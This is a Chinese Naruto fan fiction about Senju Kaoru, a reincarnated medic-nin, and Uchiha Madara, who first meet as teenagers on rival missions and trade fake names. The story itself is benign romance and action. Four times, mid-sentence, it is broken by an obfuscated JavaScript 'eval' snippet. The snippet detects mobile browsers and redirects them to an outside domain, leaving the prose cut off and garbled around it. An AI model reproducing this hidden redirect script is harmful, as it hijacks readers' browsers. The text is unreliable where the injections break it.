《结盟后得罪了对家族长怎么办》 1. 忍族混战1 千手熏做了个梦。 大概是因为两族结盟之后，她久违地放松了自己的精神，所以在喝了点蜂蜜酒后，她梦到了上辈子的东西。 不……这玩意就算是在上辈子她也不可能有。 千手熏梦到自己穿着龙袍走进一间宫室，一个看不清脸的男人等在室内，叫她陛下。 她上辈子就只在电视上见过皇帝，更别说自己当皇帝了。 千手熏看着眼前衣裳轻薄的男人和他在衣衫下若隐若现的饱满胸肌，轻轻地、眨了下眼睛。 这一刻，千手熏悟了。 这是个有颜色的梦。 作为一个千手，直面自己的欲望并不羞耻。 更何况梦里的人总会让自己的行为逻辑无懈可击——不合理也会变得合理。 熏想。 于是她把手按在了对方的肌肉上。 “……” 熏被手下的真实触感震惊到了，她这梦未免太写实了。 难道她真的又穿了？ 以她的运气来说，她不会穿成个末代皇帝了吧？ 熏探究地继续按了按男人的肌肉，心里猜想这梦最后会在哪个阶段醒。 但这个梦并没有再进一步发展下去。 “你梦到了什么？”一个十分熟悉的声音响起。 千手熏觉得吵闹，皱了皱眉：“别打扰朕。”并伸手去扒梦境里这位看不见脸的虾系后宫的衣服。 手刚搭上对方的肩，千手熏陡然顿住。 等等。 刚才的声音实在耳熟了，耳熟到熏心生不祥的地步。 哪里听过呢……？ 感觉近期内一定在哪里听过的。 “千手熏，你还清醒着吗？”那个声音继续问她。 梦里的虾系后宫胆大包天地搂住了尊贵的皇帝陛下的腰。 “！！！” 熏想起来了，这声音她上午刚听过。 ——在自家族长和隔壁宇智波结盟的时候。 ——在轮到宇智波族长讲话的时候！ 宇智波斑的声音！！！！ 这一瞬间，什么宫殿美人，什么王权富贵，全都消失不见。 千手熏一个激灵，被吓醒了。 接着她看见了更为震惊的一幕。 她，千手熏，一个普普通通的医疗忍者，压在了半坐在床铺上的、名声可止小儿夜啼的宇智波族长身上，并且罪不可赦地一只手按在对方胸前，另一只手扯着人宇智波族长的袖子往下拽。 千手熏的思维随着身体在这一刻冻结。 ——敬启，族长大人。得知我失踪的消息，请您不要惊讶，也无需派人来找我。和平既然已经到来，那么我将不日开始远航，世界那么大，我想去做海贼王。 “宇智波……斑大人，”千手熏缓缓松开手往回收，对着在黑暗中微微挑眉的宇智波斑尴尬地笑了笑，“真巧，您也在这里休息吗？” 宇智波斑嗤笑一声：“我需要提醒你的是，这里是我的房间。” 熏快速地瞄了眼旁边，还真是。 “那您怎么没在我进来前拦住我呢？”千手熏抿了抿唇，说不出自己是在责怪对方还是为自己的误入恼怒。 “我以为你想和我单独谈谈。现在看来，或许不是，”宇智波斑低声笑了一声，语气却不见愉悦，他一只手扶住熏的腰，又问起她那个熟悉的问题，“那么刚才，你梦到了谁，熏。” “……” 千手熏觉得宇智波族长还不如为她的冒犯而暴怒。 她有点想找个时光机回到过去，把那个准备喝酒的自己打包塞回族地去。 天知道自己是怎么在醉酒状态走到宇智波斑的临时房间的。 路上的宇智波就放任她一个千手往他们族长房间的方向走？ 而且现在…… 熏强行让自己冷静下来。 氛围不对。 宇智波族长的口吻，倒像是男友逼问女友是否另有心上人。 但他们的关系…… 千手熏深深吸了口气，推开眼前的宇智波族长，往最近的窗户翻去—— 在这瞬间，窗户处的空间泛起淡淡涟漪。 宇智波斑立刻想起当初千手扉间重伤弟弟时使用飞雷神时周围的动静。 “熏，小心！”宇智波斑脸色微变，伸手抓住了千手熏的手臂，下一刻两人的身影都消失无踪。 * 千手熏是个普通的千手，忍术平平幻术平平，在战场上勉强能够靠自己实力活命，也就医疗忍术要优秀些，所以在两族协商结盟时她被族里派去给重伤的宇智波泉奈治病。 要说她平平无奇的忍者生涯里哪里特殊一些，大概就是她曾在做任务的途中险些谈了一场恋爱。 那场还未来得及展开的恋爱给了千手熏巨大的打击。 在她和喜欢的对象试探着交换真名时，千手熏发现自己的运气是真的一点都不好。 穿越到乱世当个雇佣兵就算了，初恋对象居然是个宇智波。 还是扉间平时老挂在嘴边的、不可信任的、邪恶至极的宇智波斑。 忍者就不该和外族人有牵绊。 那时候，在看到准恋人那双对视过无数次的眼睛骤然变成写轮眼时，千手熏一边挪开目光抽出自己的武器，一边暗恨自己没把以前老师教过的东西放在心上。 她和宇智波斑认识的时候，是在一个月色明朗的春夜。 那年她十六，第一次一个人离开族地做任务。 雇主是一名贵族，他的次子和一名忍者私奔，让家族蒙羞。 任务要求熏将次子平安带回，并杀了那名忍者。 熏追踪着他们逃跑的痕迹，同时思考着到底有没有必要赶尽杀绝。 她毕竟有着上辈子的记忆，穿越前还挺爱看这种私奔桥段的剧情，套路老土狗血但胜在吸引人，上价值观还能说到封建社会的压迫之类的理由。 她原本的任务并不是这个，而是去迎接雇主次子的未婚妻并护送她到雇主家。谁知她到雇主家的时候已经出了逃婚一事，任务就临时变成了这样。 熏确实上过战场杀过人，但却不想为这样的任务杀人。 二者对她而言有着本质区别。 要不放弃这个任务吧，或者演一演就当任务失败放过小情侣。 伪造点他们已经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14848924|159254||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 死掉的证据或许也可行。 ——在找到那对亡命鸳鸯前，对贵族雇主没什么尊敬心态的熏还在这么想着。 但是想到伪造证据要是败露了，千手一族的信誉会被连累，熏还是拿不定主意。 还不如直接任务失败呢。 她就这么犹豫着追上了那对情侣。一个忍者带着个普通人，即使抓紧时间赶路，还是被追上了。跟何况能做出这种事的忍者，大概率是个小家族的或者干脆就是流浪忍者。 那对情侣正停在一棵高大的樱树下休整，二人无暇赏景。垂枝樱的枝条犹如瀑布般，满树樱色自枝头流淌而下。 明亮的月光静谧而柔和。 熏的脑中不合时宜地划过了几句上辈子背的文章，她藏在暗处眨了眨眼睛，最后还是没有动手。 就是这么凑巧的时机。 熏觉得，自己突然想起那些句子，或许是古人也觉得小情侣可怜，想要救他们一命。 后来熏才知道，自己没动手，其实是救了自己一命。 雇主家的次子将水囊递给那名黑发的女忍者，黑发忍者微笑着接过水低头润润了唇，就不再喝了。 “等过了前面的林下城，应当就不用这么累了，”雇主的次子小声和恋人说道，“我母亲是从林下城嫁过来的，看在母亲的面子上，祖父会替我们说情的。” 黑发忍者脸上却略带愁容，什么都没说。 在一旁偷听的熏也暗自松了口气。 或许她可以把任务拖到林下城。 万一真如雇主次子所说那般顺利，那结局自然皆大欢喜。 那对情侣并没有休息太久，回复了些体力就又上路了。 真是辛苦。 就这么远远跟着吧，等林下城的结果出来再说。 熏在他们离开后从暗处走了出来，缓步走到树下。她一边想着，一边叹着气靠上树干，抬起头看月亮。 然后正对上一双有些愕然的明亮眼睛。 头发像刺猬般炸开披散而下的少年蹲伏在缀满了繁花的树枝上，几乎被拥挤的花朵掩盖了身形，同时他的敛息之术用得极为出色，因此刚才那对情侣和熏竟然都没发现他。 熏不动声色地握上了武器，朝这名看上去年龄与自己相近的少年挑了挑眉：“好巧，你也是来赏月的？” 少年没有说话，他微微眯起眼，问熏：“你怎么不动手？” 一股子颐指气使的命令语气，不知道的还以为是在质问她的领导呢。 熏为这个问题愣了一下：“你指谁？” 两人同时陷入沉默。 还真是不巧。 熏在心底暗叹，遇上撞任务的了。 良久，熏缓缓开口：“所以，你的目标也是……” 她话没说完，便反手抽出了自己身后的忍刀，迎向了蹬着花枝跳劈而下的少年。 樱粉的花瓣簌簌抖落，泛着夜色的晕染的紫意，在空中散开，遮掩人的视线。少年手中的刀光在月色下亮如流水，黑发又似深蓝的夜幕。 鲜花、锋利的刀锋，和美人。 但熏当时脑子里什么都没有想，紧盯着还不知道名字的少年的刀。 2. 忍族混战2 铮的一声。 两把忍刀相互碰撞发出刺耳的声音，熏吐出一口气，架住少年的刀，心中暗骂对方这股大力气怕不是借了他的体重跳树得来的，她好悬差点没接住。 心念电转间，她已经和沉着一张脸的少年过了好几招。熏越发感到压力，微微转动眼珠，开口道：“你刚才也听到他们说的话了吧，何必这么穷追不舍？” 少年的刀微微顿住，熏顺势后撤，刀尖朝下表示自己没有攻击意图。 “什么意思？”少年问她，探究地朝她看来。 “我不和你抢这单。”熏首先表明自己的立场。 少年哼了一声，却也没再攻击。 熏微妙地听出了几分轻视，好像在说就算她抢也抢不过他。 思及对方刚才埋伏的地点，熏觉得自己不需要和他争论这个问题。 “但你也不太想出手吧？”熏试探地问向对方。 毕竟刚才那么好的机会，他却也没动手。 熏觉得或许眼前这个少年忍者和她是同样的想法。 但同时她又觉得应该不可能，毕竟她这样的忍者在千手一族都算得上是异类了。 除了战争，熏不接杀人的委托。 但如果护送任务遇上动刀的情况，熏也不会手软。 族里有人暗地里说她装模做样，熏知道后直接去把人揍了一顿，说她乐意这么挑任务。 桃华倒是担心熏这么挑剔，以后会不会接不到合适的任务饿死。 熏不知道对面的少年立场究竟如何，但她尝试用更能被这个时代的人接受的理由说服对方。 “你应该清楚，那两个人的身份，刚才他们的对话你也听见了，”熏说道，“这种涉及到贵族的任务最麻烦，要是往后雇主后悔了，我们做任务的不就成了他们的出气筒了？” “既然看样子还能挽回，我们……”熏在少年挑眉时强行换了人称，“你可以再等等，真的没希望了再去做这个落井下石的人呗。” “……落井下石。”少年慢条斯理地重复这个词，带着股难言的危险气息。 熏：“……我向来不太会说话，你见谅。” 话虽这么说着，看似还在期望得到对方的谅解，但熏已经后退了不少，一旦见势不妙就打算跑。 黑发少年见状嗤笑一声，将刀收回鞘中：“可我的任务不需要挽回。” “我的任务可和你不太一样——杀了他们。” “什么？”熏睁大眼睛。 熏原本以为少年是来抢任务的，这在忍者中很常见。这种暗杀任务，只要知晓了竞争者的任务，抢先完成先一步领赏就可，雇主只在乎结果，可不关心是谁完成的。 但现在看来，他的雇主，应该是另一方。 毕竟熏的任务，只要求杀掉忍者方。 “……那你刚才为什么不动手？”熏彻底迷惑了，也不禁问出了口。 她是于心不忍，那少年呢？ 刚才对战中他们虽然只粗浅地过了几招，但熏可没错过对方招式下隐含的狠厉，这人看着可不像心软的人。 要不是看出对方刚才也有几分留手，忍术之类的手段都还没上，她早跑路了，怎么可能还留在这和对方说话。 “我的雇主没告诉我其中一个人是忍者。” 少年冷冷说道：“我正在思考这单是否值得。” 实际上并不是这样，宇智波斑想。 他当然不会留情，也不会因为这种理由而中止任务，这是会损害宇智波声名的行为，他完全可以在回报任务成果时要求雇主补齐应有的报酬。 之所以没有出手，是因为他看见了一张熟悉的脸……那个带着人私奔的忍者，很不凑巧的，是一个宇智波。 他的族人。 熏从少年的话中找到了突破口。 少年的主要目标其实是她雇主的次子。 很明显，对方的雇主和她的雇主有仇，却又只针对雇主的次子，那么对方雇主的身份便呼之欲出了。 是联姻方的任务。 “那必然是不值得的，”熏说，“你的雇主，是新娘那方的人吧？或者说，这个任务，其实也只是私下发布的，城主并不知道。” 宇智波斑不置可否。 正在商议联姻的两家贵族，其中利益交缠自然不好说。 说得冷漠一些，即便次子不行了，也能再换个人继续联姻。 熏和这些贵族打过交道，这些人就算心底恨透了对方，但只要关系还在，就能面上做出其乐融融的样子。 像个伪人。 但要是中间掺杂了人命，且这条人命还和另一方有关，那可就不太妙了。 雇主家打算怎么处置这个儿子是雇主的事，可有人越俎代庖替他们解决了，就又是另一件事。 若最后真要追责，恐怕会真的追到完成任务的人身上。 宇智波斑听完少女的分析，抬眼看她。 金色头发，山中一族的比较多，那一族除却和奈良秋道两族形影不离外，似乎和千手的关系比较近。 至少没什么大仇。 “所以你不想完成你的任务，那你接它做什么？”宇智波斑问道。 熏面露苦涩，任务临时变更这种事，谁能料到。 她这是第一次一个人出来做任务，精挑细选下还让扉间帮忙分析过。 一个普通的护送任务，最多也就会遇到山贼。雇主家和联姻方的家族也算得上向来站在同一战线的关系，不牵扯到太大的政治纠纷，不会有其他家族发布任务来破坏这场联姻。 是没人来破坏，当事人亲自来破坏了。 熏觉得自己自从穿到这个世界，就带着点霉运在身上的。 “一个小小的意外，”熏没解释太多，她和对方的关系也没到说心里话的程度，“我确实不太喜欢接这种任务。” 就跟反派一样。 她又问对方：“所以你怎么想？” “就按你说的来吧，”宇智波斑瞟了少女一眼，“先等林下城的消息。” 熏因为对方的合作稍显意外，但还是记得问：“要是没成？” “我们找上门去，帮他们假死脱身，”宇智波斑说道，“至于以后有追责的事发生，就让他们自己出来，和我们无关。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14848925|159254||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 斑要把自己的族人捞出来。 熏点点头：“确实是个办法……等等，我们？” 她瞪大眼睛，左手轻轻抬起指着自己，眉头微皱，有些不太情愿再被牵扯进来：“……我不和你抢这单。” “一半主意是你出的，你也知道这事败露的后果吧？”宇智波斑冷笑道，“还是说你想撇清责任清清白白拿他们假死的好处？” 熏：“……” 行吧。 这事都有份，一个也别想跑。 “……既然你要让我入伙，”熏慢吞吞地说道，在对方不太赞同的目光望来时补充，“好吧，是合作。我说过了，我不太会说话。那我们总得交换氏族名称吧？无论之前两族有什么仇怨，但这件事我们可是一条绳上的蚂蚱，出了事是一损俱损的。万一你之后告发我呢？” 宇智波斑点头：“可以。” “那谁先来？”熏问。 宇智波斑：“我先吧，千手。” 干这种事当然还是对头家的名字好用，更何况对方很有可能会比较倾向千手。 熏：？ 她甚至以为少年在喊她，差点应了，然后反应过来这就是对方的自报家门。 她死死盯着少年，极力掩盖心中的异样，还是被少年看出了些端倪。 “怎么了？”少年问她。 熏心想这人不愧是忍者，撒谎撒得不动声色。 不是，你是千手，那我是谁，宇智波吗？ 就这么把黑锅扣我家吗？ 虽然熏本来也没想着报出家族的名字。 “……第一次见到活的千手，有些惊讶，”熏说道，“好巧，我是宇智波的——我们之前说好了，在这件事我们立场一致，对吧？” 宇智波斑：…… “啊，”他古怪地盯着眼前给自家家族扣锅的少女，说出了一个千手在面对宇智波时该说的话，“这件事我们勉强合作，往后战场相见，我不会手下留情。” 宇智波和她有仇？ 熏勉强勾了勾唇角：“那，合作愉快。” 接着，他们交换名字。 “我叫柱间。”宇智波斑毫不羞愧地盗用了过去好友的名字。 熏：“……” 不是，我们族柱间名气大也不能这么冒用他的名字吧？！ 熏开始思考自己听过的宇智波的名字。 “我叫泉奈，”她放弃了，想了半天，她想不出宇智波出名的女忍者，只得盗用了听起来很像女性名字的泉奈的名字，并解释道，“不是你想的那个泉奈，我们俩刚好同名。” 斑：“……” 我当然知道你不是我弟弟。 “竟然还有这种事，”宇智波斑缓缓道，“这世上竟然有两个宇智波泉奈。” 熏有些心虚地轻咳了声，睁着眼睛说瞎话：“重名这种事很正常的，其实我们关系很好，他名气现在越来越大，我也有点苦恼，想换个名字。” 如果宇智波斑不是宇智波泉奈的亲哥哥，他大概真的会信。 “是吗？那你改名的时候……”记得说一声。 挖苦的话突然止住。 3. 忍族混战3 “什么？”熏问道。 “没什么，走了，先去林下城探听消息。”宇智波斑看向之前两人离开的方向。 毕竟他们现在明面上一个千手一个宇智波，就算不提这层身份，他们也不是能说这些事的关系。 熏摸了摸鼻子，觉得有点不对劲，但说不上来。 怎么突然就跟一起做任务的小伙伴一样了。 对方顶着的假名更让她起鸡皮疙瘩。 熏快步追上对方：“我们的名字未免太显眼了，各自称呼代号吧？” 斑微微侧过身，不适地皱了下眉：“别往我身后凑——你想起什么代号？” 熏连忙换了个位置，腹诽这人不也自己把后背露出来了吗，然后思考着代号怎么取。 突然给自己取假名，熏也有些拿不定主意，少女用手指卷着垂落到胸前的一缕长发，思索着道：“我想想……” 她倒是想过要不直接取头发颜色叫金发，但想到上一个用头发颜色做代号的人断了条手，熏觉得还是不要挑战自己的运气为好。 “一个代号，这么纠结吗？”斑侧头扫了她一眼。 “当然有必要深思熟虑，”熏说，“你更愿意外人提起你的时候称呼你为‘第六天魔王’还是‘眼镜君’？” “什么有的没的，就不能正常一点吗？哪儿会有人叫眼镜。” 熏心说哪里没有，万事屋不就有一个吗：“代号肯定要取得好听一点，你想好你的代号了吗？” “斑。” “……” 熏的表情空白了一瞬。 然后她后知后觉地、装作生气的样子：“千手柱间，你怎么可以冒用我们少族长的名字！” 斑：“……” “那你就想个正常点的名字。”斑觉得头有点疼，天知道他有多想问回她宇智波斑怎么成了她那一族的少族长去了。 “好，你说的！那名字就全都由我来定！”熏灵机一动，“我叫瑠花，你……你叫志叶！” 斑脚步微顿，发现了假名的规律。 “志叶……把柱、我的名字倒过来了吗？”他问。 那“瑠花”这个名字呢？ 熏点头：“总之别叫斑，我瘆得慌，总觉得在叫我们少族长。” 开玩笑，根据曹操定律，一直喊对方斑，万一真把宇智波那个杀星喊出来了怎么办。 “你挺尊敬你们少族长的。”斑被少女一口一口“我们少族长”说得有些不自在。 熏点头，硬着头皮夸着扉间嘴里那个狡诈的宇智波：“你知不道我们少族长有多好！他爽朗大方，实力高强，还乐于助人！” 她其实在夸柱间。 斑：…… “够了，”斑听不下去了，“如果你还记得我是‘千手’。” 熏：…… 要不直接破罐子破摔告诉他我知道他是假的千手吧。 熏痛苦地思考。 但戳破这个事实后，就会有很多麻烦。 熏还是忍住了。 斑和熏遥遥缀在目标后面，看着他们进了领主的城堡，也跟着潜入进去。 两个没有一点保护他人隐私意识的忍者藏在房梁上偷听雇主次子和他祖父的对话。 林下城的城主表面上恨铁不成钢地斥责了次子几句，而后同意了次子的请求，打算写信去劝劝次子的父亲，同时让小情侣两人暂且在林下城安顿下来。 等到小情侣出门，坐在领主旁的中年人才略有迟疑地问道：“父亲，当真要写信吗？” 领主：“当然要写，那个跟在阿秀身边的忍者还不知道什么来路，我们又能做什么？先把他们留在这里，告诉那边他们在这里，等他们的决定。那边如果要解决那个忍者，他们派来的人过段时间也该到了。我们什么都不干涉就好，否则怎么做都是错。” 熏：…… 这还指望什么，指望她跳出来杀人吗？ 蹲在熏身旁的斑注意到熏的脸色，犹豫了一下，还是拉过熏的手在上面写字。 熏下意识地曲了下手掌，微怔后有些恼怒自己怎么没有一点防备就被对方把手拉了过去，随即镇定下来，辨认着少年在写什么。 而后—— “？”熏没忍住，拿手肘微微碰了下斑，在斑抬眼看过来时回了他一个疑惑的目光。 ——你在写什么鬼画符？ 斑：“……” 忽略身边这人不是一起出任务的族人了。 但这人还一口一个“我是宇智波”……他写的是宇智波族内通讯的密文。 事实证明，这个时候可能表情和眼神沟通更管用些。 他们没管房里那对正在写信告密的父子，偷偷溜了出去，躲进了一间空房。 不必猫在狭小的房梁上，熏舒展了一下身体，又顾忌外面会有人路过听到，压低了声音凑到少年耳边：“我们去找那个忍者？” 熏觉得自己此刻有个绝妙的计划。 她就是雇主派来的人，等到雇主那边的回信到了，她就可以光明正大地出现在林下城城主的面前。 到时候当着对方演一场戏就好了。 斑在少女凑过来的时候身体就微微僵住，他垂眸看着熏散落在自己肩膀上那缕金色发丝，抿紧唇一言不发。 耳边，少女嘴唇开合间的吐息轻轻打在敏感的肌肤上。 “志叶、志叶？”少女见他不说话，有些疑惑地抬手，要推他的肩，被斑伸手制住了。 “嘶，你干什么？”熏皱起眉，往外抽手，手腕却被斑箍得死紧。 宇智波斑冷冷看着少女：“你似乎忘了，我们是千手和宇智波。” 即便身份是谎言，但他们依旧不是可以交托后背的同伴。 “瑠花，你的警惕心去哪里了？” ——宇智波斑，你的警惕心去哪里了？ 他们可不是能够靠这么近的关系。 熏脸色微变，一个激灵般清醒过来。 她怎么对着个族外忍者这么自来熟？ 之前一起在房梁上是情有可原，但刚才他们的姿势，只要一方愿意，随时能扭断另一方的脖子。 忍者的听力也不需要他们靠这么近说话。 “抱歉，我会注意。”熏抽回自己的手，往后退了几步，这次对方也直接松开了她。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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——直接用写轮眼控制就行，为什么要如此大费周章？ 斑犹豫了一下，说道：“瑠花。” 他知道这是对方的假名，但在被族人问起这个问题时，斑却忽然生出了一丝没有由来的不悦。 临走的时候，族人突然说：“斑大人，您的衣服上，落了根头发。” 斑看向自己的衣服，在肩膀处看到了一根遗落的金发，忽然愣住。 “嗯，”宇智波斑伸手将那根头发拈下，却没随意丢弃——在另一名忍者的面前，“之前在其他地方碰到的。” “这样吗？”族人面上的神情更加古怪，但什么都没说。 斑匆匆离开之后，在僻静处停下脚步，看着手中那根纤长微卷的发丝。 阳光下，这根头发泛着金灿灿的光，就好像它的主人一样。 意识到自己在想什么，宇智波斑面色微沉，用了个小型火遁把这根头发按照原本的打算烧掉了。 忍者身上的任何东西，都是可以用以研究的材料。 包括头发。 真是疯了。 宇智波斑想。 他居然帮着个伪装成宇智波的粗心家伙处理这种麻烦。 4. 忍族混战4 等待雇主那边的消息期间，熏和斑就这么在城中住了下来。 城主的信使不是忍者 ，时间也因此变得缓慢难捱。 熏和斑时不时就暗中盯着小情侣相处。 “我觉得我们这样有点变态。”看着城主府里的小情侣们黏黏糊糊，熏藏在树间，觉得有些无聊，给斑传信。 因为两族密文不能教给外人，所以他俩搞出了新的一套密文交流。 斑：…… “只有你。”斑回她。 熏寻思着要不要让他感受一下真正的千手大力。 最后还是为了避免打草惊蛇作罢。 “不对，你不是已经和那个忍者说好了吗？”回町中住处后，熏反应过来。 这样就不需要考虑打草惊蛇的问题，就该当场以怨报怨。 “是这样没错，但你放心就这么让他们单独待着？”斑一边保养着自己的武器，一边问她。 熏若有所思地盯着少年：“我不是这个意思，志叶。” 斑停下手下的动作，转头看来：“什么？” “不，没什么。”开玩笑，她怎么可能直接告诉志叶她今天想揍他。 不过，因为夜晚房间里点着灯，昏黄的光在屋子里飘飘荡荡，也就让熏注意到另一件很显眼的事。 “……”熏的目光落到少年的领口处。 好饱满的胸肌。 熏的脑子一个没绷住，陡然跳出了这么一句话。 志叶这家伙穿衣服，领口似乎一直没掩好过啊。 熏看着斑领口开的很大、又有些松垮一看就很漏风的衣服，想道。 族里柱间和扉间他们总是遮得严严实实的。当然，他们穿的紧身衣服和眼前志叶这种干脆不在意露出一大片胸口的衣服，不知道哪种更微妙一点。 说真的，这衣服不好好穿透风，肚脐会受风吧？真的不会感冒吗？ 给刀打着粉的斑渐渐停下了手上的动作，微微眯起眼，朝着一只手托着腮看着他方向发呆的金发少女看去。 “……你在看什么，瑠花？”宇智波斑问道，主要的少女的目光，没来由的让他有些不自在。 但也不觉得冒犯。 “嗯……你不冷吗？”熏看着少年那一大片袒露的胸膛，衣襟暗色的投影隐没在衣服之下。 熏陡然回神，意识到自己在想什么后艰难地移开目光，提醒了一下少年：“肚脐总是受风，会容易着凉，还容易肚子痛。” 其他人不知道是什么情况，反正熏当了忍者，还是逃不过肚脐着凉定律。 说着，她又忍不住往少年胸前瞟去。 之前没注意还不觉得……志叶锻炼得还挺好。 宇智波斑：…… 他当然从少女这前言不搭后语的话中明白了少女的意思。 他不禁握紧了手上的武器。 他平时穿什么、怎么穿，没人会置喙，也就这个不知道他身份的外族忍者会这么直接说出来。 ……还一直盯着看！ “我们千手，穿衣服是这样的。”宇智波斑咬着牙说道。 熏：？ 你的千手我的千手好像不一样。 金发少女沉默了一阵，嗓子才艰难地发出一声啊。 “你们千手，”熏缓缓地、语气微妙地说道，“还挺照顾别人眼睛的。” 斑：…… 第二天一早起来，熏再见到斑的时候，目光不由又落到斑的胸前。 “……你又在看什么？”宇智波斑注意到少女若有所思的目光，嘴角微抽，竟然还觉得有些无奈。 熏缓缓开口，也不知道自己是在可惜还是什么：“换衣服了啊。” 熏感叹道。 今天的志叶把自己裹得严严实实的。 斑没想到瑠花居然还在关注这点微不足道的东西，默然无语：“……啊，是的。怎么了吗？” “稍微有些可惜呢。” “……” 宇智波斑被少女这么一句话冲击得大脑有一瞬间的空白。 这家伙，未免太直白了吧？一点遮掩都没有吗？想激怒我吗？她这也太…… 宇智波斑抿了抿唇。 意识到自己说了什么的熏缓缓抬头，看向志叶。 ……应该生气了吧？ “看不出来，你是这种人。”她听见志叶沉着声这么说道。 “……”她不是故意的，但刚才那句话，真的很流畅地，就那么脱口而出了。 “我们宇智波，是这样的，总是用眼睛关注美丽的事物。”她想起昨晚志叶给出的理由，决定copy一番。 宇智波斑：？ 他差点被少女的话气笑了。 “你们宇智波，”斑说，“心思还挺细腻的。” 熏已经自暴自弃，平静如死水般说道：“谢谢夸奖。” 斑：…… * 在志叶的暗中牵线下，熏也去见了私奔事件的忍者一面。 在熏介绍自己叫瑠花的时候，她注意到那名忍者面色古怪地看了眼一旁的志叶。 “瑠花小姐，这件事麻烦您和……志叶了。”她说。 熏想，她也不想被麻烦，完全是志叶想多拉一个人下水，她才也会在这的。 互相交换了联系方式后，这次他们没有继续藏在暗处观察小情侣了。 熏问志叶：“这次你不担心他们偷偷逃走了？” 少年回她：“我更担心你临阵变卦。” 熏倏地睁大眼睛，有些恼怒地瞪着少年：“我才不是那种人，志叶！” 都到这个地步了她要动手早就动手了！ “这种事可说不准。”少年语气微讽。 熏沉默了一下，越想越气，决定不忍了。 她忿忿不平地拽住少年的手腕就往外走，少年不由愣住任由她拉着，起身出门：“你干什么？” “不信就不信，”熏把他拽到院子后才松手，瞪着他，“按我们千、宇智波的规矩，我要和你打一场，出了这口恶气！” 斑：“？” “和我，打一场？”斑面色古怪，“你们宇智波的规矩？” 忍者尚武，左右忍族这种规矩都差不多。 斑转了转自己的手腕关节，这些天待在城町也确实让他无聊，稍微有了些兴趣：“好啊。” 他说。 话音刚落，两个少年忍者便同时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14848927|159254||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冲向对手。 熏手上聚集起查克拉，狠狠朝着对面挥拳而下—— 轰的一声，烟尘四散。地面以熏刚才的落点为中心裂开蛛网状裂纹。 斑微微眯起眼，神情严肃起来，看着少女自弥散的烟尘中缓缓抬头。 少女于烟尘后露出的黑色眼瞳边缘，泛着暗金色。 宇智波？ 哈。 这种风格的体术，明显是受到了更为亲近的千手一族的影响。 宇智波斑不是一味防守的人，大致明白少女体术的风格后，便欺身上前，主动进攻。 要说正宗的千手体术，他自信绝对要比对面疑似山中的少女熟悉。 毕竟当年和他相互喂招、后来又在战场上针锋相对的，是千手一族的千手柱间。 熏自然不知道斑在想什么，不然肯定满头问号。 她现在的状态很奇怪，并在抬头再度看向志叶后，神态微滞。 以前也有过。她和少族长柱间切磋的时候，有时候也会进入这种状态—— 这种状态下，她能看见一种十分玄妙的气萦绕在每个人的人体周围，就好像是能看见查克拉的具象，但那和查克拉还是不太一样。 这时候的她在反应速度、判断力等战斗素质上都要优于平日。 一开始在进入这种状态时，熏不能很好地控制自己的理智，会一直战斗到自身筋疲力竭直至昏倒。 后来日渐长大，她才逐渐学会如何控制自己。 除了无法控制进入这种状态的时机，她已经能在这种状态下让自己不再失控。 处在这种状态时，熏偶尔会看见柱间身上的白色的“气”若隐若现地聚集成一个飘忽不定的人形，但那个形态和柱间完全不一样。 宛若英灵般守护着对方的“气”，结合柱间远超同龄人的武力值，熏有理由相信柱间是某种“天选之人”。 现在，熏在另一个人的身上也看见了类似的现象。 志叶周身包裹着一层蓝色的、同样凝聚成人形的“气”——和柱间身上的“气”给人的感觉完全不一样，让熏感到一阵不适。 “……”不是吧？ 那团暗蓝色的“人形”上，仿佛有双眼睛，发现她能看见他，于是便透过志叶的身体，将视线投注了过来。 ——气还能有自己的意识？ 被对方目光锁定的刹那，熏的大脑疯狂响起警报，她一方面知道这股杀气不是源于志叶的，一方面却也在杀气的刺激下直接展开攻击！ 宇智波斑看见突然从原地消失的少女，眼中惊疑不定。 完全没有捕捉到少女的运动轨迹。 他压制住打开写轮眼的冲动，随后，自战场上磨练出来的本能感受到了危机，他抬起手挡在脑袋右侧—— 下一秒，眼瞳周围镶着一圈淡金色的少女双瞳圆睁，突然出现在了斑身侧的半空中。 少女手握成拳蓄力，竟然就这么徒手朝他砸了下来！ 架住少女攻击的斑肌肉紧绷，险些被这股力道砸得后退，瑠花的力气甚至比泉奈的还要大上几分。 宇智波斑反手制住少女的手腕下压，另一只手挡住对方几乎没有停顿的下一道肘击。 5. 忍族混战5 “力量增幅吗……”宇智波斑盯着少女异常的眼睛，若有所思。 